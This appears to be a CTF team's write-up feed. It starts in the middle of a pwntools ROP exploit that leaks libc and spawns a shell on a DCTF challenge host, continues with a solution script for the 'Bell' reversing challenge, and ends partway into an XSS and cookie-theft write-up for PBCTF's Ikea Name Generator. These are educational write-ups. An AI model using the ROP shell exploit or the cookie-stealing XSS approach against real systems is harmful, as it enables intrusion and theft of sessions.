<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">"dctf-chall-baby-bof.westeurope.azurecontainer.io"</span><span class="p">,</span> <span class="mi">7481</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'plz don</span><span class="se">\'</span><span class="s1">t rop me'</span><span class="p">)</span>
<span class="n">fgets_got</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'got.fgets'</span><span class="p">]</span>
<span class="n">fgets_libc</span> <span class="o">=</span> <span class="n">libc2</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'fgets'</span><span class="p">]</span>
<span class="n">system_libc</span> <span class="o">=</span> <span class="n">libc2</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'system'</span><span class="p">]</span>
<span class="n">sh_libc</span><span class="o">=</span> <span class="nb">next</span><span class="p">(</span><span class="n">libc2</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s1">'/bin/sh'</span><span class="p">))</span>
<span class="n">ret</span> <span class="o">=</span> <span class="nb">next</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="n">asm</span><span class="p">(</span><span class="s1">'ret'</span><span class="p">)))</span>
<span class="n">rop</span> <span class="o">=</span> <span class="n">ROP</span><span class="p">(</span><span class="n">elf</span><span class="p">)</span>
<span class="n">rop</span><span class="o">.</span><span class="n">puts</span><span class="p">(</span><span class="n">fgets_got</span><span class="p">)</span>
<span class="n">rop</span><span class="o">.</span><span class="n">call</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'vuln'</span><span class="p">])</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'</span><span class="se">\x41</span><span class="s1">'</span><span class="o">*</span><span class="mi">18</span> <span class="o">+</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">rop</span><span class="p">))</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">"i don't think this will work</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
<span class="n">fgets_address</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">fgets_address</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">fgets_address</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x00</span><span class="s1">'</span><span class="o">*</span><span class="p">(</span><span class="mi">8</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">fgets_address</span><span class="p">)))</span>
<span class="n">libc_address</span> <span class="o">=</span> <span class="p">(</span><span class="n">fgets_address</span> <span class="o">-</span> <span class="n">fgets_libc</span><span class="p">)</span>
<span class="n">system_address</span> <span class="o">=</span> <span class="n">system_libc</span> <span class="o">+</span> <span class="n">libc_address</span>
<span class="n">sh_address</span> <span class="o">=</span> <span class="n">sh_libc</span> <span class="o">+</span> <span class="n">libc_address</span>
<span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'system'</span><span class="p">]</span> <span class="o">=</span> <span class="n">system_address</span>
<span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'plz don</span><span class="se">\'</span><span class="s1">t rop me'</span><span class="p">)</span>
<span class="n">rop</span> <span class="o">=</span> <span class="n">ROP</span><span class="p">(</span><span class="n">elf</span><span class="p">)</span>
<span class="n">rop</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="n">sh_address</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'</span><span class="se">\x41</span><span class="s1">'</span><span class="o">*</span><span class="mi">18</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">ret</span><span class="p">)</span> <span class="o">+</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">rop</span><span class="p">))</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">"i don't think this will work</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div>
<p>The flag was located in a file called flag.txt.</p>
<p><code>dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}</code></p>DCTF 2021 - Bell2021-05-17T00:00:00+02:002024-02-05T19:10:11+01:00lehrbaumtag:w0y.at,2021-05-17:/writeup/2021/05/17/dctf-2021-bell.html<p>Read number and run throught known function</p><h2>Description</h2>
<blockquote>
<p>Blaise's friends like triangles too!
<code>nc dctf-chall-bell.westeurope.azurecontainer.io 5311</code></p>
</blockquote>
<h2>Preface</h2>
<p>The function gives us a number and then waits for multiple inputs.</p>
<h2>Overview</h2>
<p>Loading the file into <em>ghidra</em> we can take a look at what happens.</p>
<div class="highlight"><pre><span></span><code><span class="n">undefined8</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">iVar1</span><span class="p">;</span>
<span class="w"> </span><span class="n">uint</span><span class="w"> </span><span class="n">uVar2</span><span class="p">;</span>
<span class="w"> </span><span class="kt">time_t</span><span class="w"> </span><span class="n">tVar3</span><span class="p">;</span>
<span class="w"> </span><span class="n">tVar3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">time</span><span class="p">((</span><span class="kt">time_t</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
<span class="w"> </span><span class="n">srand</span><span class="p">((</span><span class="n">uint</span><span class="p">)</span><span class="n">tVar3</span><span class="p">);</span>
<span class="w"> </span><span class="n">iVar1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">rand</span><span class="p">();</span>
<span class="w"> </span><span class="n">uVar2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">iVar1</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">8</span><span class="p">;</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="n">uVar2</span><span class="p">);</span>
<span class="w"> </span><span class="n">process</span><span class="p">((</span><span class="n">ulong</span><span class="p">)</span><span class="n">uVar2</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="n">undefined8</span><span class="w"> </span><span class="nf">process</span><span class="p">(</span><span class="n">uint</span><span class="w"> </span><span class="n">param_1</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="kt">long</span><span class="w"> </span><span class="n">lVar1</span><span class="p">;</span>
<span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="n">bVar2</span><span class="p">;</span>
<span class="w"> </span><span class="kt">long</span><span class="w"> </span><span class="n">lVar3</span><span class="p">;</span>
<span class="w"> </span><span class="kt">long</span><span class="w"> </span><span class="n">in_FS_OFFSET</span><span class="p">;</span>
<span class="w"> </span><span class="n">uint</span><span class="w"> </span><span class="n">local_24</span><span class="p">;</span>
<span class="w"> </span><span class="kt">long</span><span class="w"> </span><span class="n">local_20</span><span class="p">;</span>
<span class="w"> </span><span class="n">lVar1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="kt">long</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x28</span><span class="p">);</span>
<span class="w"> </span><span class="n">bVar2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="w"> </span><span class="n">local_24</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">local_24</span><span class="w"> </span><span class="o"><=</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">param_1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">lVar3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">triangle</span><span class="p">((</span><span class="n">ulong</span><span class="p">)</span><span class="n">param_1</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="n">local_24</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="n">local_24</span><span class="p">);</span>
<span class="w"> </span><span class="n">__isoc99_scanf</span><span class="p">();</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">lVar3</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="n">local_20</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">bVar2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">false</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">local_24</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">local_24</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">bVar2</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">system</span><span class="p">(</span><span class="s">"cat flag.txt"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Better luck next time."</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">lVar1</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="kt">long</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x28</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="w"> </span><span class="n">__stack_chk_fail</span><span class="p">();</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="kt">long</span><span class="w"> </span><span class="nf">triangle</span><span class="p">(</span><span class="n">uint</span><span class="w"> </span><span class="n">param_1</span><span class="p">,</span><span class="kt">int</span><span class="w"> </span><span class="n">param_2</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="kt">long</span><span class="w"> </span><span class="n">lVar1</span><span class="p">;</span>
<span class="w"> </span><span class="kt">long</span><span class="w"> </span><span class="n">lVar2</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">param_1</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">param_2</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">lVar1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">((</span><span class="n">param_1</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="p">(</span><span class="n">param_2</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">1</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">lVar1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">param_2</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">lVar1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">triangle</span><span class="p">((</span><span class="n">ulong</span><span class="p">)(</span><span class="n">param_1</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="p">),(</span><span class="n">ulong</span><span class="p">)(</span><span class="n">param_1</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="p">),(</span><span class="n">ulong</span><span class="p">)(</span><span class="n">param_1</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="p">));</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">lVar2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">triangle</span><span class="p">((</span><span class="n">ulong</span><span class="p">)</span><span class="n">param_1</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)(</span><span class="n">param_2</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1U</span><span class="p">),(</span><span class="n">ulong</span><span class="p">)(</span><span class="n">param_2</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1U</span><span class="p">));</span>
<span class="w"> </span><span class="n">lVar1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">triangle</span><span class="p">((</span><span class="n">ulong</span><span class="p">)(</span><span class="n">param_1</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="p">),(</span><span class="n">ulong</span><span class="p">)(</span><span class="n">param_2</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1U</span><span class="p">),(</span><span class="n">ulong</span><span class="p">)(</span><span class="n">param_2</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1U</span><span class="p">));</span>
<span class="w"> </span><span class="n">lVar1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">lVar1</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">lVar2</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">lVar1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>From this I could see, I can win, if I just run the same operations and print my solutions.
So I rewrote the triangle function in Python3 and integrated a read of the random number.
My final script was:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s1">'amd64'</span>
<span class="n">context</span><span class="o">.</span><span class="n">kernel</span> <span class="o">=</span> <span class="s1">'amd64'</span>
<span class="c1">#context.log_level = "DEBUG"</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s2">"INFO"</span>
<span class="k">def</span> <span class="nf">triangle</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">):</span>
<span class="k">if</span> <span class="n">a</span> <span class="o"><</span> <span class="n">b</span><span class="p">:</span>
<span class="k">return</span> <span class="mi">0</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">if</span> <span class="n">a</span> <span class="o">==</span> <span class="mi">1</span> <span class="ow">and</span> <span class="n">b</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">return</span> <span class="mi">1</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">if</span> <span class="n">b</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">return</span> <span class="n">triangle</span><span class="p">(</span><span class="n">a</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="n">a</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="n">triangle</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="n">triangle</span><span class="p">(</span><span class="n">a</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="n">b</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">"dctf-chall-bell.westeurope.azurecontainer.io"</span><span class="p">,</span> <span class="mi">5311</span><span class="p">)</span>
<span class="n">random</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">'ASCII'</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="n">random</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,(</span><span class="n">random</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">triangle</span><span class="p">(</span><span class="n">random</span><span class="p">,</span><span class="n">i</span><span class="p">)))</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div>
<p>Running this gives the flag.</p>
<p><code>dctf{f1rst_step_t0wards_b3ll_l4bs}</code></p>PBCTF 2020 - Ikea Name Generator2020-12-08T00:00:00+01:002024-02-05T19:10:11+01:00lavishtag:w0y.at,2020-12-08:/writeup/2020/12/08/pbctf-2020-ikea-name-generator.html<p>XSS, CSP bypass, Character Encoding Issues, Unintended Vulnerability</p><h2>Overview</h2>
<blockquote>
<p>What's your IKEA name? Mine is SORPOÄNGEN.</p>
<p>http://ikea-name-generator.chal.perfect.blue/</p>
<p>By: corb3nik</p>
</blockquote>
<p>One of the most useful applications seen on a CTF so far, a name generator to dive into the Swedish culture: a must have for all the people shopping at IKEA like lavish today, see below.</p>
<p><img alt="lavish at IKEA" src="https://w0y.at/data/ctf/pbctf2020/ikea_name_generator/imgs/lavish.jpg"></p>
<p>The application provides an input field where users are supposed to insert their name. After clicking on the submit button, an Ikea-like name is displayed. The report page allows us to send arbitrary links to a bot, while the login page can only be accessed by admins with a <em>special cookie</em>. Business as usual, we need to XSS the page to leak the cookie, craft a same-origin link and send it to the bot that will give us its cookie upon executing our payload.</p>
<p>Sit comfortably in your <em>Poäng</em>, get a pack of <em>Festligt</em> and enjoy reading how we discovered an unintended vulnerability to exploit this challenge!</p>
<h2>Credits</h2>
<p>People who worked on the challenge: <a href="https://minimalblue.com">lavish</a> aka KOT, georg aka MÖRT, prempador aka BETTJANÄR, ckristo aka SOLM, stiefel40k aka BASSLEKATILLÖT and wert310 aka TRUM. Write-up by lavish and revisions by georg, prempador and ckristo.</p>
<h2>TL;DR</h2>
<p>We bypassed <code>addslashes()</code> by exploiting the discrepancy between server and client side encodings to obtain an unintended XSS in the main page of the application.</p>
<h2>Understanding the Code</h2>
<p>There's a quite some stuff going on behind the curtains of this simple application.</p>
<p>The rendered HTML code of the page is available <a href="https://w0y.at/data/ctf/pbctf2020/ikea_name_generator/code/index.html">here</a>, but these are the most relevant parts.</p>
<p>The <a href="https://lodash.com/">Lodash</a> JavaScript library v.4.17.4 is used:</p>
<div class="highlight"><pre><span></span><code><span class="p"><</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">"https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.4/lodash.min.js"</span><span class="p">></</span><span class="nt">script</span><span class="p">></span>
</code></pre></div>
<p>A <a href="https://en.wikipedia.org/wiki/JSONP">JSONP</a> endpoint on <code>/config.php</code> is included in the page using the provided name as the value of the GET parameter <code>name</code>:</p>
<div class="highlight"><pre><span></span><code><span class="p"><</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">"/config.php?name=John"</span><span class="p">></</span><span class="nt">script</span><span class="p">></span>
</code></pre></div>
<p>This page returns something like the following structure that is evaluated as JavaScript code in the context of the page:</p>
<div class="highlight"><pre><span></span><code><span class="nx">CONFIG</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">url</span><span class="o">:</span><span class="w"> </span><span class="s2">"/get_name.php"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s2">"John"</span>
<span class="p">}</span>
</code></pre></div>
<p>Then, the main script <a href="https://w0y.at/data/ctf/pbctf2020/ikea_name_generator/code/app.js">app.js</a> of the application is included:</p>
<div class="highlight"><pre><span></span><code><span class="p"><</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">"/app.js"</span><span class="p">></</span><span class="nt">script</span><span class="p">></span>
</code></pre></div>
<p>And at the end of the HTML we can find a tracking pixel using the image tag:</p>
<div class="highlight"><pre><span></span><code><span class="p"><</span><span class="nt">img</span> <span class="na">id</span><span class="o">=</span><span class="s">"tracking-pixel"</span> <span class="na">width</span><span class="o">=</span><span class="s">1</span> <span class="na">height</span><span class="o">=</span><span class="s">1</span> <span class="na">src</span><span class="o">=</span><span class="s">"/track.php"</span><span class="p">></span>
</code></pre></div>
<p>This resource is not found on the server, resulting into a redirection to the page handling 404 errors <code>http://ikea-name-generator.chal.perfect.blue/404.php?msg=Sorry,+this+page+is+unavailable.</code></p>
<h3>A look into app.js</h3>
<p>The JavaScript code included by the page is provided below as a reference:</p>
<div class="highlight"><pre><span></span><code><span class="kd">function</span><span class="w"> </span><span class="nx">createFromObject</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">el</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"span"</span><span class="p">);</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">var</span><span class="w"> </span><span class="nx">key</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="nx">obj</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">el</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">obj</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">el</span>
<span class="p">}</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">generateName</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">default_config</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="s2">"style"</span><span class="o">:</span><span class="w"> </span><span class="s2">"color: red;"</span><span class="p">,</span>
<span class="w"> </span><span class="s2">"text"</span><span class="o">:</span><span class="w"> </span><span class="s2">"Could not generate name"</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">output</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s1">'output'</span><span class="p">)</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">req</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">XMLHttpRequest</span><span class="p">();</span>
<span class="w"> </span><span class="nx">req</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">"POST"</span><span class="p">,</span><span class="w"> </span><span class="nx">CONFIG</span><span class="p">.</span><span class="nx">url</span><span class="p">);</span>
<span class="w"> </span><span class="nx">req</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">"Content-Type"</span><span class="p">,</span><span class="w"> </span><span class="s2">"application/x-www-form-urlencoded"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">req</span><span class="p">.</span><span class="nx">onreadystatechange</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">readyState</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="nx">XMLHttpRequest</span><span class="p">.</span><span class="nx">DONE</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">status</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="mf">200</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">obj</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">responseText</span><span class="p">);</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">config</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">_</span><span class="p">.</span><span class="nx">merge</span><span class="p">(</span><span class="nx">default_config</span><span class="p">,</span><span class="w"> </span><span class="nx">obj</span><span class="p">)</span>
<span class="w"> </span><span class="nx">sandbox</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"iframe"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">sandbox</span><span class="p">.</span><span class="nx">src</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"/sandbox.php"</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">el</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">createFromObject</span><span class="p">({</span>
<span class="w"> </span><span class="nx">style</span><span class="o">:</span><span class="w"> </span><span class="nx">config</span><span class="p">.</span><span class="nx">style</span><span class="p">,</span>
<span class="w"> </span><span class="nx">innerText</span><span class="o">:</span><span class="w"> </span><span class="nx">config</span><span class="p">.</span><span class="nx">text</span>
<span class="w"> </span><span class="p">})</span>
<span class="w"> </span><span class="nx">output</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">sandbox</span><span class="p">)</span>
<span class="w"> </span><span class="nx">sandbox</span><span class="p">.</span><span class="nx">onload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">sandbox</span><span class="p">.</span><span class="nx">contentWindow</span><span class="p">.</span><span class="nx">output</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">el</span><span class="p">)</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nx">req</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="s2">"name="</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">CONFIG</span><span class="p">.</span><span class="nx">name</span><span class="p">)</span>
<span class="p">}</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">onload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kd">function</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"button-submit"</span><span class="p">).</span><span class="nx">onclick</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kd">function</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"/?name="</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"input-name"</span><span class="p">).</span><span class="nx">value</span>
